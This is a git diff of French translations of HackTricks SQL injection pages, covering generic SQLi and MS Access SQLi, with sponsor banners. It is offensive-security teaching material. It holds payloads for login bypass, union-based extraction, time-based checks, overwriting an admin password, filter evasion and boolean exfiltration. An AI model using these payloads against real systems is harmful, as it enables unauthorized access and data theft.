[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Une **injection SQL** est une faille de sécurité qui permet aux attaquants d'*
|
|||
|
||||
## Détection du point d'entrée
|
||||
|
||||
Lorsqu'un site semble être **vulnérable à une injection SQL (SQLi)** en raison de réponses serveur inhabituelles aux entrées liées à SQLi, la **première étape** consiste à comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace.
|
||||
Lorsqu'un site semble être **vulnérable à une injection SQL (SQLi)** en raison de réponses de serveur inhabituelles aux entrées liées à SQLi, la **première étape** consiste à comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace.
|
||||
Voici quelques exemples utiles:
|
||||
```
|
||||
[Nothing]
|
||||
|
@ -75,7 +75,7 @@ Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste
|
|||
|
||||
De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL.
|
||||
|
||||
Exemples illustrant la confirmation par des opérations logiques :
|
||||
Exemples démontrant la confirmation par opération logique :
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
|
@ -143,7 +143,7 @@ La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonct
|
|||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Aussi, si vous avez accès à la sortie de la requête, vous pourriez **faire afficher la version de la base de données**.
|
||||
De plus, si vous avez accès à la sortie de la requête, vous pourriez **faire afficher la version de la base de données**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Une continuation où nous allons discuter des différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple.
|
||||
|
@ -158,7 +158,7 @@ Une continuation où nous allons discuter des différentes méthodes pour exploi
|
|||
### Détection du nombre de colonnes
|
||||
|
||||
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
|
||||
Tout d'abord, nous devons trouver le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Tout d'abord, nous devons trouver le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est nécessaire car **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Deux méthodes sont généralement utilisées à cette fin :
|
||||
|
||||
#### Order/Group by
|
||||
|
@ -204,9 +204,9 @@ _Il existe une manière différente de découvrir ces données sur chaque base d
|
|||
|
||||
## Exploitation de l'injection basée sur l'union cachée
|
||||
|
||||
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur l'union semble impossible, cela signifie la présence d'une **injection basée sur l'union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur l'union, il est nécessaire de comprendre la requête d'exécution côté serveur.
|
||||
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur l'union semble impossible, cela signifie la présence d'une **injection basée sur l'union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur l'union, il est nécessaire de comprendre la requête d'exécution en arrière-plan.
|
||||
|
||||
Cela peut être réalisé en utilisant des techniques d'injection aveugle en conjonction avec les tables par défaut spécifiques à votre système de gestion de base de données cible (DBMS). Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du DBMS ciblé.
|
||||
Cela peut être réalisé en utilisant des techniques d'injection aveugle en conjonction avec les tables par défaut spécifiques à votre système de gestion de base de données cible (DBMS). Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du DBMS cible.
|
||||
|
||||
Une fois que la requête a été extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête d'origine. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de la nouvelle injection basée sur l'union désormais accessible.
|
||||
|
||||
|
@ -240,9 +240,9 @@ Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la r
|
|||
```
|
||||
## Requêtes imbriquées
|
||||
|
||||
Vous pouvez utiliser des requêtes imbriquées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai temporel.
|
||||
Vous pouvez utiliser des requêtes imbriquées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un retard temporel.
|
||||
|
||||
**Oracle** ne prend pas en charge les **requêtes imbriquées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUETE-1-ICI; REQUETE-2-ICI`
|
||||
**Oracle** ne prend pas en charge les **requêtes imbriquées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUÊTE-1-ICI; REQUÊTE-2-ICI`
|
||||
|
||||
## Exploitation hors bande
|
||||
|
||||
|
@ -290,7 +290,7 @@ Liste pour essayer de contourner la fonctionnalité de connexion :
|
|||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Ce query montre une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système vulnérable aux injections SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, une fois hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
|
||||
Ce query montre une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système vulnérable aux injections SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
|
@ -345,15 +345,15 @@ La base de données va **vérifier** si le **nom d'utilisateur** **introduit** *
|
|||
|
||||
Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaîne plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez : [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons continuent d'ignorer les espaces de fin par défaut, tenter d'insérer une chaîne plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez : [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### Vérification basée sur le temps de l'insertion MySQL
|
||||
|
||||
Ajoutez autant de `','',''` que vous estimez nécessaire pour sortir de l'instruction VALUES. Si un retard est exécuté, vous avez une injection SQL.
|
||||
Ajoutez autant de `','',''` que vous estimez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une injection SQL.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### SUR LA MISE À JOUR DE LA CLÉ EN DOUBLE
|
||||
### SUR CLÉ EN DOUBLE MISE À JOUR
|
||||
|
||||
La clause `ON DUPLICATE KEY UPDATE` en MySQL est utilisée pour spécifier les actions à effectuer par la base de données lorsqu'une tentative est faite pour insérer une ligne qui entraînerait une valeur en double dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
|
||||
|
||||
|
@ -366,7 +366,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
|
|||
Voici comment cela fonctionne :
|
||||
|
||||
- La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`.
|
||||
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` est déclenchée, indiquant à MySQL de mettre à jour le champ `password` de la ligne existante en "bcrypt_hash_of_newpassword".
|
||||
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` est déclenchée, indiquant à MySQL de mettre à jour le champ `password` de la ligne existante avec "bcrypt_hash_of_newpassword".
|
||||
- Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hachage bcrypt ("bcrypt_hash_of_newpassword" représente le hachage bcrypt du nouveau mot de passe, qui doit être remplacé par le hachage réel du mot de passe souhaité).
|
||||
|
||||
### Extraire des informations
|
||||
|
@ -409,7 +409,7 @@ Utilisation de **hex** et **replace** (et **substr**) :
|
|||
|
||||
## Injection SQL routée
|
||||
|
||||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui produit une sortie, mais la sortie de la requête injectable va à la requête qui produit une sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Exemple:
|
||||
```
|
||||
|
@ -433,33 +433,25 @@ Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement
|
|||
```
|
||||
### No Whitespace - contourner en utilisant des commentaires
|
||||
|
||||
Dans certains cas, les filtres de sécurité peuvent bloquer les requêtes SQL injectées en recherchant des mots-clés spécifiques. Pour contourner ces filtres, vous pouvez utiliser des commentaires SQL pour masquer les parties de la requête qui pourraient déclencher une alerte. Par exemple, au lieu d'injecter `UNION SELECT`, vous pouvez utiliser `UNION/**/SELECT` pour ajouter des commentaires et éviter d'être détecté par les filtres de sécurité.
|
||||
Dans certains cas, les filtres de sécurité peuvent bloquer les requêtes SQL injectées en recherchant des mots-clés spécifiques. Pour contourner ces filtres, vous pouvez utiliser des commentaires SQL pour masquer les parties de votre injection. Par exemple, au lieu d'insérer un espace entre les mots, vous pouvez utiliser des commentaires pour rendre le code SQL valide tout en évitant les filtres de sécurité.
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
### No Whitespace - bypass using parenthesis
|
||||
### No Whitespace - contourner en utilisant des parenthèses
|
||||
|
||||
#### English
|
||||
```plaintext
|
||||
In some cases, spaces are not allowed in the input fields. In such scenarios, you can try using parenthesis to bypass the restriction. For example, instead of using spaces, you can try using parenthesis to separate SQL keywords and identifiers. This technique can help you execute SQL injection payloads even when spaces are restricted.
|
||||
```
|
||||
|
||||
#### French
|
||||
```plaintext
|
||||
Dans certains cas, les espaces ne sont pas autorisés dans les champs de saisie. Dans de tels scénarios, vous pouvez essayer d'utiliser des parenthèses pour contourner la restriction. Par exemple, au lieu d'utiliser des espaces, vous pouvez essayer d'utiliser des parenthèses pour séparer les mots-clés SQL et les identifiants. Cette technique peut vous aider à exécuter des charges utiles d'injection SQL même lorsque les espaces sont restreints.
|
||||
```
|
||||
Dans certains cas, les filtres de sécurité peuvent bloquer les mots-clés SQL tels que `OR` ou `AND`, mais autoriser les parenthèses. Pour contourner cette restriction, vous pouvez utiliser des parenthèses pour regrouper les conditions et ainsi exécuter une injection SQL avec succès.
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Pas de virgules de contournement
|
||||
|
||||
Pas de virgules - contournement en utilisant OFFSET, FROM et JOIN
|
||||
Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Contournements Génériques
|
||||
### Contournements génériques
|
||||
|
||||
Liste noire utilisant des mots-clés - contourner en utilisant des majuscules/minuscules
|
||||
```sql
|
||||
|
@ -467,7 +459,7 @@ Liste noire utilisant des mots-clés - contourner en utilisant des majuscules/mi
|
|||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Utilisation d'une liste noire avec des mots-clés insensibles à la casse - contourner en utilisant un opérateur équivalent
|
||||
Utilisation d'une liste noire de mots-clés insensible à la casse - contourner en utilisant un opérateur équivalent
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -500,7 +492,7 @@ Ou en utilisant un **contournement de virgule** :
|
|||
```
|
||||
Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Outils suggérés pour contourner les pare-feu d'application web
|
||||
### Outils de suggestion de contournement de pare-feu d'application web
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
|
||||
|
@ -513,6 +505,10 @@ Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
@ -521,12 +517,12 @@ Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -19,9 +19,9 @@ Consultez les blogs suivants :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe télégramme**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ Autres moyens de soutenir HackTricks :
|
|||
|
||||
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
||||
|
||||
## Limitations de la BD
|
||||
## Limitations de la base de données
|
||||
|
||||
### Concaténation de chaînes
|
||||
|
||||
|
@ -29,70 +29,70 @@ La concaténation de chaînes est possible avec les caractères `& (%26)` et `+
|
|||
```
|
||||
### Commentaires
|
||||
|
||||
Il n'y a pas de commentaires dans MS Access, mais apparemment, il est possible de supprimer la fin d'une requête avec un caractère NULL :
|
||||
Il n'y a pas de commentaires dans MS Access, mais apparemment il est possible de supprimer le dernier caractère d'une requête avec un caractère NULL :
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
Si cela ne fonctionne pas, vous pourriez toujours corriger la syntaxe de la requête :
|
||||
Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requête :
|
||||
```sql
|
||||
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||||
```
|
||||
### Requêtes Empilées
|
||||
### Requêtes imbriquées
|
||||
|
||||
Elles ne sont pas prises en charge.
|
||||
|
||||
### LIMIT
|
||||
|
||||
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats d'une requête SELECT aux **premières N lignes d'une table en utilisant l'opérateur `TOP`**. `TOP` accepte comme argument un entier, représentant le nombre de lignes à retourner.
|
||||
L'opérateur **`LIMIT`** n'est **pas implémenté**. Cependant, il est possible de limiter les résultats de la requête SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte en argument un entier, représentant le nombre de lignes à renvoyer.
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
Tout comme **`TOP`**, vous pouvez utiliser **`LAST`** qui récupérera **les lignes à partir de la fin**.
|
||||
Tout comme TOP, vous pouvez utiliser **`LAST`** qui obtiendra les ** lignes depuis la fin **.
|
||||
|
||||
## Requêtes UNION/Sous-requêtes
|
||||
|
||||
Dans une SQLi, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans **les sous-requêtes ou requêtes supplémentaires, un `FROM` soit indiqué**.\
|
||||
Dans une injection SQL, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans les **sous-requêtes ou requêtes supplémentaires, un `FROM` soit indiqué**.\
|
||||
Ainsi, si vous souhaitez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer un `FROM` avec un nom de table valide**.\
|
||||
Par conséquent, vous devez connaître un **nom de table valide**.
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
### Chaînage d'égalités + Sous-chaîne
|
||||
### Chainer equals + Substring
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cela vous permettra d'exfiltrer les valeurs de la table courante sans avoir besoin de connaître le nom de la table.
|
||||
Cela vous permettra d'exfiltrer les valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.
|
||||
{% endhint %}
|
||||
|
||||
**MS Access** permet une **syntaxe étrange** telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL sera à l'intérieur d'une clause **`WHERE`**, nous pouvons en abuser.
|
||||
**MS Access** permet une **syntaxe étrange** telle que **`'1'=2='3'='asd'=false`**. Comme l'injection SQL se trouvera généralement dans une clause **`WHERE`**, nous pouvons en abuser.
|
||||
|
||||
Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous savez (ou supposez) qu'un **nom de colonne est username**, et c'est le champ que vous souhaitez **exfiltrer**. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique de chaînage d'égalités est utilisée et potentiellement exfiltrer le contenu avec une **injection booléenne** en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes.
|
||||
Imaginez que vous avez une injection SQL dans une base de données MS Access et que vous connaissez (ou avez deviné) qu'un **nom de colonne est username**, et que c'est le champ que vous souhaitez **exfiltrer**. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique de chaînage d'égalités est utilisée et potentiellement exfiltrer du contenu avec une **injection booléenne** en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Si vous connaissez le **nom de la table** et de la **colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **fuir toutes les infos** via SQLi booléen :
|
||||
Si vous connaissez le **nom de la table** et de la **colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **exposer toutes les informations** via une injection SQL booléenne :
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
_Sentez-vous libre de vérifier cela dans l'aire de jeu en ligne._
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
### Forçage brutal des noms de tables
|
||||
### Forcer les noms de tables
|
||||
|
||||
En utilisant la technique de chaînage des égalités, vous pouvez également **forcer brutalement les noms de tables** avec quelque chose comme :
|
||||
En utilisant la technique de chaînage des égalités, vous pouvez également **forcer les noms de tables** avec quelque chose comme :
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
Vous pouvez également utiliser une méthode plus traditionnelle :
|
||||
